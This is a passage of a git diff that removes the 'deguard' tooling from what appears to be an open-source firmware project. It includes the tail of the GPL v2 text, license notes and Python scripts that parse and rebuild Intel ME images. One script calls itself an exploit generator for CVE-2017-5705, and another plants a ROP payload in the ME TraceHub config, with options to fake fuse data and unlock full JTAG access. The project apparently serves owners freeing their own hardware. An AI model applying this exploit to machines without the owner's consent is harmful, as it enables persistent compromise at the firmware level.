modified program normally reads commands interactively - when run, you must cause it, when started running for such - interactive use in the most ordinary way, to print or display an - announcement including an appropriate copyright notice and a - notice that there is no warranty (or else, saying that you provide - a warranty) and that users may redistribute the program under - these conditions, and telling the user how to view a copy of this - License. (Exception: if the Program itself is interactive but - does not normally print such an announcement, your work based on - the Program is not required to print an announcement.) - -These requirements apply to the modified work as a whole. If -identifiable sections of that work are not derived from the Program, -and can be reasonably considered independent and separate works in -themselves, then this License, and its terms, do not apply to those -sections when you distribute them as separate works. But when you -distribute the same sections as part of a whole which is a work based -on the Program, the distribution of the whole must be on the terms of -this License, whose permissions for other licensees extend to the -entire whole, and thus to each and every part regardless of who wrote it. - -Thus, it is not the intent of this section to claim rights or contest -your rights to work written entirely by you; rather, the intent is to -exercise the right to control the distribution of derivative or -collective works based on the Program. - -In addition, mere aggregation of another work not based on the Program -with the Program (or with a work based on the Program) on a volume of -a storage or distribution medium does not bring the other work under -the scope of this License. - - 3. You may copy and distribute the Program (or a work based on it, -under Section 2) in object code or executable form under the terms of -Sections 1 and 2 above provided that you also do one of the following: - - a) Accompany it with the complete corresponding machine-readable - source code, which must be distributed under the terms of Sections - 1 and 2 above on a medium customarily used for software interchange; or, - - b) Accompany it with a written offer, valid for at least three - years, to give any third party, for a charge no more than your - cost of physically performing source distribution, a complete - machine-readable copy of the corresponding source code, to be - distributed under the terms of Sections 1 and 2 above on a medium - customarily used for software interchange; or, - - c) Accompany it with the information you received as to the offer - to distribute corresponding source code. (This alternative is - allowed only for noncommercial distribution and only if you - received the program in object code or executable form with such - an offer, in accord with Subsection b above.) - -The source code for a work means the preferred form of the work for -making modifications to it. For an executable work, complete source -code means all the source code for all modules it contains, plus any -associated interface definition files, plus the scripts used to -control compilation and installation of the executable. However, as a -special exception, the source code distributed need not include -anything that is normally distributed (in either source or binary -form) with the major components (compiler, kernel, and so on) of the -operating system on which the executable runs, unless that component -itself accompanies the executable. - -If distribution of executable or object code is made by offering -access to copy from a designated place, then offering equivalent -access to copy the source code from the same place counts as -distribution of the source code, even though third parties are not -compelled to copy the source along with the object code. - - 4. You may not copy, modify, sublicense, or distribute the Program -except as expressly provided under this License. Any attempt -otherwise to copy, modify, sublicense or distribute the Program is -void, and will automatically terminate your rights under this License. -However, parties who have received copies, or rights, from you under -this License will not have their licenses terminated so long as such -parties remain in full compliance. - - 5. You are not required to accept this License, since you have not -signed it. However, nothing else grants you permission to modify or -distribute the Program or its derivative works. These actions are -prohibited by law if you do not accept this License. Therefore, by -modifying or distributing the Program (or any work based on the -Program), you indicate your acceptance of this License to do so, and -all its terms and conditions for copying, distributing or modifying -the Program or works based on it. - - 6. Each time you redistribute the Program (or any work based on the -Program), the recipient automatically receives a license from the -original licensor to copy, distribute or modify the Program subject to -these terms and conditions. You may not impose any further -restrictions on the recipients' exercise of the rights granted herein. -You are not responsible for enforcing compliance by third parties to -this License. - - 7. If, as a consequence of a court judgment or allegation of patent -infringement or for any other reason (not limited to patent issues), -conditions are imposed on you (whether by court order, agreement or -otherwise) that contradict the conditions of this License, they do not -excuse you from the conditions of this License. If you cannot -distribute so as to satisfy simultaneously your obligations under this -License and any other pertinent obligations, then as a consequence you -may not distribute the Program at all. For example, if a patent -license would not permit royalty-free redistribution of the Program by -all those who receive copies directly or indirectly through you, then -the only way you could satisfy both it and this License would be to -refrain entirely from distribution of the Program. - -If any portion of this section is held invalid or unenforceable under -any particular circumstance, the balance of the section is intended to -apply and the section as a whole is intended to apply in other -circumstances. - -It is not the purpose of this section to induce you to infringe any -patents or other property right claims or to contest validity of any -such claims; this section has the sole purpose of protecting the -integrity of the free software distribution system, which is -implemented by public license practices. Many people have made -generous contributions to the wide range of software distributed -through that system in reliance on consistent application of that -system; it is up to the author/donor to decide if he or she is willing -to distribute software through any other system and a licensee cannot -impose that choice. - -This section is intended to make thoroughly clear what is believed to -be a consequence of the rest of this License. - - 8. If the distribution and/or use of the Program is restricted in -certain countries either by patents or by copyrighted interfaces, the -original copyright holder who places the Program under this License -may add an explicit geographical distribution limitation excluding -those countries, so that distribution is permitted only in or among -countries not thus excluded. In such case, this License incorporates -the limitation as if written in the body of this License. - - 9. The Free Software Foundation may publish revised and/or new versions -of the General Public License from time to time. Such new versions will -be similar in spirit to the present version, but may differ in detail to -address new problems or concerns. - -Each version is given a distinguishing version number. If the Program -specifies a version number of this License which applies to it and "any -later version", you have the option of following the terms and conditions -either of that version or of any later version published by the Free -Software Foundation. If the Program does not specify a version number of -this License, you may choose any version ever published by the Free Software -Foundation. - - 10. If you wish to incorporate parts of the Program into other free -programs whose distribution conditions are different, write to the author -to ask for permission. For software which is copyrighted by the Free -Software Foundation, write to the Free Software Foundation; we sometimes -make exceptions for this. Our decision will be guided by the two goals -of preserving the free status of all derivatives of our free software and -of promoting the sharing and reuse of software generally. - - NO WARRANTY - - 11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY -FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN -OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES -PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED -OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF -MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS -TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE -PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, -REPAIR OR CORRECTION. - - 12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING -WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR -REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, -INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING -OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED -TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY -YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER -PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE -POSSIBILITY OF SUCH DAMAGES. - - END OF TERMS AND CONDITIONS - - How to Apply These Terms to Your New Programs - - If you develop a new program, and you want it to be of the greatest -possible use to the public, the best way to achieve this is to make it -free software which everyone can redistribute and change under these terms. - - To do so, attach the following notices to the program. It is safest -to attach them to the start of each source file to most effectively -convey the exclusion of warranty; and each file should have at least -the "copyright" line and a pointer to where the full notice is found. - - - Copyright (C) - - This program is free software; you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation; either version 2 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License along - with this program; if not, write to the Free Software Foundation, Inc., - 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. - -Also add information on how to contact you by electronic and paper mail. - -If the program is interactive, make it output a short notice like this -when it starts in an interactive mode: - - Gnomovision version 69, Copyright (C) year name of author - Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'. - This is free software, and you are welcome to redistribute it - under certain conditions; type `show c' for details. - -The hypothetical commands `show w' and `show c' should show the appropriate -parts of the General Public License. Of course, the commands you use may -be called something other than `show w' and `show c'; they could even be -mouse-clicks or menu items--whatever suits your program. - -You should also get your employer (if you work as a programmer) or your -school, if any, to sign a "copyright disclaimer" for the program, if -necessary. Here is a sample; alter the names: - - Yoyodyne, Inc., hereby disclaims all copyright interest in the program - `Gnomovision' (which makes passes at compilers) written by James Hacker. - - , 1 April 1989 - Ty Coon, President of Vice - -This General Public License does not permit incorporating your program into -proprietary programs. If your program is a subroutine library, you may -consider it more useful to permit linking proprietary applications with the -library. If this is what you want to do, use the GNU Lesser General -Public License instead of this License. diff --git a/blobs/t480/deguard/doc/LICENSE.orig b/blobs/t480/deguard/doc/LICENSE.orig deleted file mode 100644 index ac6be728b..000000000 --- a/blobs/t480/deguard/doc/LICENSE.orig +++ /dev/null @@ -1,17 +0,0 @@ -License for MFSUtil (CFG.py, MFS.py, MFSUtil.py) - -Copyright 2019 Youness El Alaoui - -Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: - -The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. - -THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. - -License for original exploit generator (me_exp_bxtp_me11.py): - -Copyright (c) 2018 Mark Ermolov, Maxim Goryachy at Positive Technologies - -Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. - -THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. diff --git a/blobs/t480/deguard/finalimage.py b/blobs/t480/deguard/finalimage.py deleted file mode 100755 index c77f5f4f2..000000000 --- a/blobs/t480/deguard/finalimage.py +++ /dev/null @@ -1,111 +0,0 @@ -#!/usr/bin/python3 -# SPDX-License-Identifier: GPL-2.0-only - -import argparse -import os -from lib.exploit import GenerateShellCode -from lib.image import parse_ifd_or_me -from lib.mfs import INTEL_IDX, FITC_IDX, HOME_IDX, MFS -from lib.cfg import CFG - -def generate_fitc_from_intel_and_delta(intel_cfg, delta_dir): - # Create empty fitc.cfg - fitc_cfg = CFG() - - for intel_file in intel_cfg.files: - # Copy over directory - if intel_file.isDirectory(): - fitc_cfg.addFile(intel_file.path, intel_file.data, - intel_file.record.mode, intel_file.record.opt, - intel_file.record.uid, intel_file.record.gid) - continue - - # Skip non-overridable file - if (intel_file.record.opt & 1) == 0: - continue - - # Look for file in the delta - delta_path = os.path.join(delta_dir, intel_file.path.lstrip("/")) - if os.path.isfile(delta_path): - # Create modified overridable file from delta - with open(delta_path, "rb") as f: - fitc_cfg.addFile(intel_file.path, f.read(), - intel_file.record.mode, intel_file.record.opt, - intel_file.record.uid, intel_file.record.gid) - else: - # Copy over unmodified overridable file - fitc_cfg.addFile(intel_file.path, intel_file.data, - intel_file.record.mode, intel_file.record.opt, - intel_file.record.uid, intel_file.record.gid) - - return fitc_cfg - -def apply_exploit_to_fitc(fitc_cfg, version, pch, sku, fake_fpfs, red_unlock): - # Make sure End-Of-Manufacturing is off - fitc_cfg.removeFile("/home/mca/eom") - fitc_cfg.addFile("/home/mca/eom", b"\x00", CFG.strToMode(' --Irw-r-----'), CFG.strToOpt('?!-F'), 0, 238) - - # Generate TraceHub configuration file with exploit payload - ct_payload = GenerateShellCode(version, pch, sku, fake_fpfs, red_unlock) - # Add TraceHub configuration file - fitc_cfg.removeFile("/home/bup/ct") - fitc_cfg.addFile("/home/bup/ct", ct_payload, CFG.strToMode(' ---rwxr-----'), CFG.strToOpt('?--F'), 3, 351) - -def add_fitc_to_sysvol(sysvol, fitc_data): - # Delete original fitc.cfg - sysvol.removeFile(FITC_IDX) - # Delete home partition (we want all data to come from the new fitc.cfg) - sysvol.removeFile(HOME_IDX) - # Insert new fitc.cfg - # NOTE: optimize=False is required to break up continous chunks, - # which causes the vulnerable code to perform multiple reads. - sysvol.addFile(FITC_IDX, fitc_data, optimize=False) - -parser = argparse.ArgumentParser() -parser.add_argument("--input", required=True, help="Donor image (either full with IFD or just ME)") -parser.add_argument("--output", required=True, help="Output ME image") -parser.add_argument("--delta", required=True, help="MFS delta directory") -parser.add_argument('--version', required=True, help='Donor ME version') -parser.add_argument('--pch', required=True, help='PCH type') -parser.add_argument('--sku', metavar='', help='ME SKU', required=True) -parser.add_argument('--fake-fpfs', help='replace SRAM copy of FPFs with the provided data') -parser.add_argument('--red-unlock', help='allow full JTAG access to the entire platform', action='store_true') -args = parser.parse_args() - -# Get ME from input image -with open(args.input, "rb") as f: - me = parse_ifd_or_me(f.read()) - -# Make sure delta directory exists -if not os.path.isdir(args.delta): - raise ValueError(f"Delta directory {args.delta} not found") - -# Read FPF data -fake_fpfs = None -if args.fake_fpfs: - with open(args.fake_fpfs, "rb") as f: - fake_fpfs = f.read() - -# Parse MFS and get its system volume -mfs = MFS(me.entry_data("MFS")) -sysvol = mfs.getSystemVolume() - -# Read intel.cfg -intel_cfg = CFG(sysvol.getFile(INTEL_IDX).data) - -# Generate fitc.cfg -fitc_cfg = generate_fitc_from_intel_and_delta(intel_cfg, args.delta) -# Modify fitc.cfg with exploit -apply_exploit_to_fitc(fitc_cfg, args.version, args.pch, args.sku, fake_fpfs, args.red_unlock) -# Re-generate fitc.cfg -fitc_cfg.generate(alignment=2) - -# Write fitc.cfg -add_fitc_to_sysvol(sysvol, fitc_cfg.data) -# Re-generate MFS -mfs.generate() -# Write MFS to ME image -me.write_entry_data("MFS", mfs.data) -# Write out ME image -with open(args.output, "wb") as f: - f.write(me.data) diff --git a/blobs/t480/deguard/gen_shellcode.py b/blobs/t480/deguard/gen_shellcode.py deleted file mode 100755 index 1d8fbfbe8..000000000 --- a/blobs/t480/deguard/gen_shellcode.py +++ /dev/null @@ -1,24 +0,0 @@ -#!/usr/bin/python3 -# SPDX-License-Identifier: GPL-2.0-only - -import argparse -from lib.exploit import GenerateShellCode - -parser = argparse.ArgumentParser(description="Intel-SA-00086 (CVE-2017-5705) exploit generator for ME 11.x.x.x") -parser.add_argument('-o', '--output', metavar='', help='output file path', required=True) -parser.add_argument('-v', '--version', metavar='', help='ME version', required=True) -parser.add_argument('-p', '--pch', metavar='', help='PCH type', required=True) -parser.add_argument('-s', '--sku', metavar='', help='ME SKU', required=True) -parser.add_argument('--fake-fpfs', metavar='', help='replace SRAM copy of FPFs with the provided data') -parser.add_argument('--red-unlock', help='allow full JTAG access to the entire platform', action='store_true') -args = parser.parse_args() - -fake_fpfs = None -if args.fake_fpfs: - with open(args.fake_fpfs, "rb") as f: - fake_fpfs = f.read() - -data = GenerateShellCode(args.version, args.pch, args.sku, fake_fpfs, args.red_unlock) - -with open(args.output, "wb") as f: - f.write(data) diff --git a/blobs/t480/deguard/generatedelta.py b/blobs/t480/deguard/generatedelta.py deleted file mode 100755 index 9153d61ba..000000000 --- a/blobs/t480/deguard/generatedelta.py +++ /dev/null @@ -1,76 +0,0 @@ -#!/usr/bin/python3 -# SPDX-License-Identifier: GPL-2.0-only - -import argparse -import os -from lib.image import parse_ifd_or_me -from lib.mfs import INTEL_IDX, FITC_IDX, HOME_IDX, MFS -from lib.cfg import CFG - -def delta_from_fitc_cfg(overridable, fitc_files, output): - if set(fitc_files.keys()).difference(overridable.keys()) != set(): - raise ValueError("fitc.cfg contains unexpected data, please report this for investigation") - # Iterate overridable paths from intel.cfg - for path, intel_file in overridable.items(): - # Skip dirs - if intel_file.isDirectory(): - continue - # Skip files not in fitc - if path not in fitc_files: - continue - fitc_file = fitc_files[path] - if intel_file.data != fitc_file.data: - # Write out differing file to delta - filepath = os.path.join(output, path.lstrip("/")) - os.makedirs(os.path.dirname(filepath), exist_ok=True) - with open(filepath, "wb") as f: - f.write(fitc_file.data) - -def delta_from_home(overridable, home_files, output): - # Iterate overridable paths from intel.cfg - for path, intel_file in overridable.items(): - # Skip dirs - if intel_file.isDirectory(): - continue - # Skip files not in /home - if path not in home_files: - continue - if intel_file.data != home_files[path]: - # Write out differing file to delta - filepath = os.path.join(output, path.lstrip("/")) - os.makedirs(os.path.dirname(filepath), exist_ok=True) - with open(filepath, "wb") as f: - f.write(home_files[path]) - -parser = argparse.ArgumentParser() -parser.add_argument("--input", required=True, help="Input vendor image (either full with IFD or just ME)") -parser.add_argument("--output", required=True, help="Output MFS delta directory") -args = parser.parse_args() - -# Get ME from input image -with open(args.input, "rb") as f: - me = parse_ifd_or_me(f.read()) - -# Parse MFS and get its system volume -mfs = MFS(me.entry_data("MFS")) -sysvol = mfs.getSystemVolume() - -# Lookup table of directories and overridable paths in intel.cfg -intel_cfg = CFG(sysvol.getFile(INTEL_IDX).data) -overridable = { file.path: file for file in intel_cfg.files \ - if file.isDirectory() or (file.record.opt & 1) != 0 } - -fitc = sysvol.getFile(FITC_IDX) - -if fitc: - # We have a fitc.cfg, so compute delta from that - fitc_cfg = CFG(fitc.data) - fitc_files = { file.path: file for file in fitc_cfg.files } - delta_from_fitc_cfg(overridable, fitc_files, args.output) -else: - # If there is no fitc we must have a /home - if not sysvol.getFile(HOME_IDX): - raise Error("MFS has no fitc.cfg or home directory, please provide an image with valid config data") - # Build lookup table from files in home in /home - home_files = { path: data for path, data in sysvol.listDir(HOME_IDX, True, "/home") } - delta_from_home(overridable, home_files, args.output) diff --git a/blobs/t480/deguard/lib/cfg.py b/blobs/t480/deguard/lib/cfg.py deleted file mode 100644 index 050782109..000000000 --- a/blobs/t480/deguard/lib/cfg.py +++ /dev/null @@ -1,272 +0,0 @@ -# SPDX-License-Identifier: GPL-2.0-only -# This code is based on MFSUtil by Youness Alaoui (see `doc/LICENSE.orig` for original copyright) - -import posixpath -import struct -from functools import cmp_to_key - -def cmp(a, b): - return (a > b) - (a < b) - -class CFGAlignment: - ALIGN_NONE = 0 - ALIGN_START = 1 - ALIGN_END = 2 - -class CFG(object): - CFG_FMT = struct.Struct(" 1 - file = self.getFile(posixpath.join(*path)) - assert file and file.isDirectory() - assert file.record.mode == record.mode - path.pop() - else: - file = CFGFile(posixpath.join(*path + [record.name]), record, self.data, parent) - self.files.append(file) - if record.isDirectory(): - path.append(record.name) - parent = self.getFile(posixpath.join(*path)) - self.records.append(record) - - def getFile(self, path): - for file in self.files: - if file.path == path: - return file - return None - - def removeFile(self, path, recursive = False): - file = self.getFile(path) - if file: - if len(file.children) > 0 and not recursive: - return False - # Copy list of children since we're modifying the list - for child in file.children[:]: - self.removeFile(child.path, recursive) - self.files.remove(file) - if file.parent: - file.parent.removeChild(file) - return True - else: - return False - - def addFile(self, path, data, mode, opt, uid, gid): - # Make sure it doesn't already exists - file = self.getFile(path) - if file: - raise ValueError(f"CFG path {path} already exists") - - directory = False - (parent_path, filename) = posixpath.split(path) - - if filename == "": - directory = True - (parent_path, filename) = posixpath.split(parent_path) - - # Make sure parent exists if it is not the root - parent = self.getFile(parent_path) - if parent_path != "/"and parent is None: - raise ValueError(f"CFG path {path} already exists") - - record = CFGRecord.createRecord(filename, mode, opt, uid, gid, len(data), 0) - file = CFGFile(path, record, data, parent) - self.files.append(file) - - def generate(self, alignment): - self.records = [] - file_data = b"" - if len(self.files) > 0: - (self.records, file_data) = self.files[0].generateRecords(alignment=alignment) - self.num_records = len(self.records) - self.data = self.CFG_FMT.pack(self.num_records) - data_offset = len(self.data) + CFGRecord.RECORD_FMT.size * self.num_records - alignment_data = b"" - if alignment != CFGAlignment.ALIGN_NONE: - alignment_extra = data_offset % 0x40 - if alignment_extra > 0: - alignment_data += struct.pack("> i): - ret += modeStr[i] - else: - ret += "-" - return ret - - @staticmethod - def strToMode(str): - modeStr = "dAEIrwxrwxrwx" - assert len(str) == len(modeStr) - mode = 0 - for i in range(13): - if str[i] == modeStr[i]: - mode |= (0x1000 >> i) - else: - assert str[i] == '-' or str[i] == ' ' - return mode - - @staticmethod - def optToStr(opt): - assert opt & 0xFFF0 == 0 - optStr = "?!MF" - ret = "" - for i in range(4): - if opt & (8 >> i): - ret += optStr[i] - else: - ret += "-" - return ret - - @staticmethod - def strToOpt(str): - optStr = "?!MF" - assert len(str) == len(optStr) - opt = 0 - for i in range(4): - if str[i] == optStr[i]: - opt |= (8 >> i) - else: - assert str[i] == '-' or str[i] == ' ' - return opt - -class CFGRecord(object): - RECORD_FMT = struct.Struct("<12sHHHHHHL") - - def __init__(self, data, index): - offset = CFG.CFG_FMT.size + self.RECORD_FMT.size * index - self.data = data[offset:offset + self.RECORD_FMT.size] - (self.name, zero, self.mode, self.opt, self.size, - self.uid, self.gid, self.offset) = self.RECORD_FMT.unpack(self.data) - self.name = self.name.decode('utf-8') - self.name = self.name.strip('\0') - if self.name == "..": - assert self.isDirectory() - assert self.opt == 0 - if self.isDirectory(): - assert self.size == 0 - - def isDirectory(self): - return self.mode & 0x1000 == 0x1000 - - def generate(self): - self.data = CFGRecord.RECORD_FMT.pack(self.name.encode("utf-8"), 0, self.mode, self.opt, - self.size, self.uid, self.gid, self.offset) - - @staticmethod - def createRecord(name, mode, opt, uid, gid, size, offset): - data = b'\0' * CFG.CFG_FMT.size + \ - CFGRecord.RECORD_FMT.pack(name.encode("utf-8"), 0, mode, opt, size, uid, gid, offset) - return CFGRecord(data, 0) - - def copy(self): - return self.createRecord(self.name, self.mode, self.opt, self.uid, self.gid, self.size, self.offset) - - def __str__(self): - return "%-12s (%04X:%04X) [%4d bytes @ %8X] %s _ %s" % (self.name, self.uid, self.gid, - self.size, self.offset, CFG.modeToStr(self.mode), CFG.optToStr(self.opt)) - -class CFGFile(object): - def __init__(self, path, record, data, parent=None): - self.path = path - self.record = record - self.data = data[record.offset:record.offset + record.size] - self.parent = parent - self.children = [] - if parent: - parent.addChild(self) - - @property - def size(self): - return self.record.size - - def isDirectory(self): - return self.record.isDirectory() - - def addChild(self, child): - assert self.isDirectory() - self.children.append(child) - self.children.sort(key=cmp_to_key(CFGFile.__cmp__)) - - def removeChild(self, child): - assert self.isDirectory() and child in self.children - self.children.remove(child) - - def generateRecords(self, data = b"", alignment=CFGAlignment.ALIGN_NONE): - self.record.size = 0 if self.isDirectory() else self.size - self.record.offset = 0 if self.isDirectory() else len(data) - records = [self.record] - if self.isDirectory(): - for child in self.children: - (sub_records, new_data) = child.generateRecords(data, alignment) - records += sub_records - data = new_data - - dotdot = self.record.copy() - dotdot.name = '..' - dotdot.opt = 0 - records.append(dotdot) - else: - alignment_extra = 0 - if alignment == CFGAlignment.ALIGN_START: - alignment_extra = self.record.offset % 0x40 - elif self.record.size != 0 and alignment == CFGAlignment.ALIGN_END: - alignment_extra = (self.record.offset + self.record.size) % 0x40 - if alignment_extra > 0: - data += struct.pack(" pointing to valid descriptors below -# shared mem descriptors with address of memcpy_s ret address -# up to 0x380 with syslib context pointing up -# chunk with pointers to ROP address - -def GenerateShellCode(version, pch, sku, fake_fpfs, red_unlock): - me_info = None - for info in ME_INFOS: - if info.ME_VERSION == version and info.PCH_TYPE == pch and info.ME_SKU == sku: - me_info = info - break - - if me_info is None: - raise ValueError("Cannot find required information for ME version, PCH type, and ME SKU.") - - # Add ROPs - data, rops_start = GenerateRops(me_info, fake_fpfs, red_unlock) - if data is None: - return None - - # Create syslib context and add it to the data - syslib_ctx_addr = me_info.BUFFER_ADDRESS + len(data) - (syslib_ctx, syslib_ctx_addr) = GenerateSyslibCtx(me_info, syslib_ctx_addr) - data += syslib_ctx - - # Create TLS structure - tls = struct.pack(" me_info.BUFFER_OFFSET: - raise ValueError("Too much data in the ROPs, cannot fit payload within 0x%X bytes" % me_info.BUFFER_OFFSET) - - # Add padding and add TLS at the end of the buffer - data += struct.pack("len(data): - return None - return struct.unpack("len(data): - return None - return struct.unpack("> bf[0] & bf[1] - -class IFDRegion(Enum): - IFD = 0 - BIOS = 1 - ME = 2 - GBE = 3 - PD = 4 - EC = 8 - -class IFDImage: - MAGIC_OFF = 0x10 - MAGIC = 0x0FF0A55A - - FLMAP0_OFF = 0x14 - FLMAP0_FRBA = (16, 0xff) - - FLREGN_BASE = (0, 0x7fff) - FLREGN_LIMIT = (16, 0x7fff) - - def __init__(self, data): - self.data = bytearray(data) - - # Verify magic - if dword_le(self.data, self.MAGIC_OFF) != self.MAGIC: - raise ValueError("Invalid IFD magic") - - # Find base address of regions - flmap0 = dword_le(self.data, self.FLMAP0_OFF) - frba = ex(flmap0, self.FLMAP0_FRBA) << 4 - - # Parse regions - self.regions = {} - for region in IFDRegion: - flregN = dword_le(self.data, frba + 4 * region.value) - base = ex(flregN, self.FLREGN_BASE) - limit = ex(flregN, self.FLREGN_LIMIT) - if base == 0x7fff and limit == 0x0000: # Unused region - continue - self.regions[region] = (base << 12, limit << 12 | 0xfff) - - def __str__(self): - return "\n".join(f" {region.name:<4} {extent[0]:08x}-{extent[1]:08x}" \ - for region, extent in self.regions.items()) - - def region_data(self, region): - if region not in self.regions: - raise ValueError(f"IFD region {region} not present") - base, limit = self.regions[region] - return self.data[base:limit] - -class MeImage: - HEADER_OFF = 0x10 - - MARKER_OFF = 0x10 - MARKER = b"$FPT" - - NUMENT_OFF = 0x14 - HDRLEN_OFF = 0x20 - HDRSUM_OFF = 0x21 - - ENTRY_OFF = 0x30 - ENTRY_SIZE = 0x20 - - def __init__(self, data): - self.data = bytearray(data) - - # Verify magic and checksum - if self.data[self.MARKER_OFF:self.MARKER_OFF+4] != self.MARKER: - raise ValueError("Invalid $FPT magic") - if sum(self.data[self.HEADER_OFF:self.data[self.HDRLEN_OFF]]) != 0: - raise ValueError("Invalid $FPT checksum") - - # Parse entries - self.entries = {} - for idx in range(self.data[self.NUMENT_OFF]): - off = self.ENTRY_OFF + idx * self.ENTRY_SIZE - name, _, offset, length, _, _, _, flags = struct.unpack("<4sIIIIIII", \ - self.data[off:off+self.ENTRY_SIZE]) - self.entries[name.strip(b"\0").decode()] = (offset, length, flags) - - def __str__(self): - return "\n".join(f" {name:<4} {entry[0]:08x}-{entry[1]:08x} {entry[2]:08x}" \ - for name, entry in self.entries.items()) - - def entry_data(self, name): - if name not in self.entries: # No entry - raise ValueError(f"Unknown $FPT entry {name}") - offset, length, flags = self.entries[name] - if flags & 0xff00_0000 != 0: # Invalid entry - raise ValueError(f"Invalid $FPT entry {name}") - return self.data[offset:offset+length] - - def write_entry_data(self, name, data): - if name not in self.entries: # No entry - raise ValueError(f"Unknown $FPT entry {name}") - offset, length, flags = self.entries[name] - if flags & 0xff00_0000 != 0: # Invalid entry - raise ValueError(f"Invalid $FPT entry {name}") - if len(data) != length: - raise ValueError(f"Wrong data length") - self.data[offset:offset+length] = data - -def parse_ifd_or_me(data): - try: - # Try parse as full image - ifd_image = IFDImage(data) - return MeImage(ifd_image.region_data(IFDRegion.ME)) - except: - # Assume it is just an ME - return MeImage(data) diff --git a/blobs/t480/deguard/lib/mfs.py b/blobs/t480/deguard/lib/mfs.py deleted file mode 100644 index 9dee71bca..000000000 --- a/blobs/t480/deguard/lib/mfs.py +++ /dev/null @@ -1,508 +0,0 @@ -# SPDX-License-Identifier: GPL-2.0-only -# This code is based on MFSUtil by Youness Alaoui (see `doc/LICENSE.orig` for original copyright) - -import struct -from functools import cmp_to_key - -INTEL_IDX = 6 # Default configuration -FITC_IDX = 7 # Vendor configuration -HOME_IDX = 8 # Runtime ME data - -def cmp(a, b): - return (a > b) - (a < b) - -class MFS(object): - PAGE_SIZE = 0x2000 # Page size is 8K - CHUNK_SIZE = 0x40 # Chunk size is 64 bytes - CHUNK_CRC_SIZE = 2 # Size of CRC16 - CHUNKS_PER_DATA_PAGE = 122 # 122 chunks per Data page - CHUNKS_PER_SYSTEM_PAGE = 120 # 120 chunks per System page - - CRC8TabLo = bytearray([0, 7, 14, 9, 28, 27, 18, 21, 56, 63, 54, 49, 36, 35, 42, 45]) - CRC8TabHi = bytearray([0, 112, 224, 144, 199, 183, 39, 87, 137, 249, 105, 25, 78, 62, 174, 222]) - CRC16Tab = [0]*256 - for i in range(256): - r = i << 8 - for j in range(8): r = (r << 1) ^ (0x1021 if r & 0x8000 else 0) - CRC16Tab[i] = r & 0xFFFF - - def __init__(self, data): - self.data = data - self.size = len(self.data) - assert self.size % self.PAGE_SIZE == 0 - - self.num_pages = self.size // self.PAGE_SIZE # Total number of pages - self.num_sys_pages = self.num_pages // 12 # Number of System pages - self.num_data_pages = self.num_pages - self.num_sys_pages - 1 # Number of Data pages - self.capacity = self.num_data_pages * self.CHUNKS_PER_DATA_PAGE * self.CHUNK_SIZE - - self.data_pages = [] - self.sys_pages = [] - self.to_be_erased = None - for page in range(self.num_pages): - page = MFSPage(self.data[page * self.PAGE_SIZE:(page + 1) * self.PAGE_SIZE], page) # Load page - if page.isToBeErased(): - assert self.to_be_erased == None - self.to_be_erased = page - elif page.isSystemPage(): - 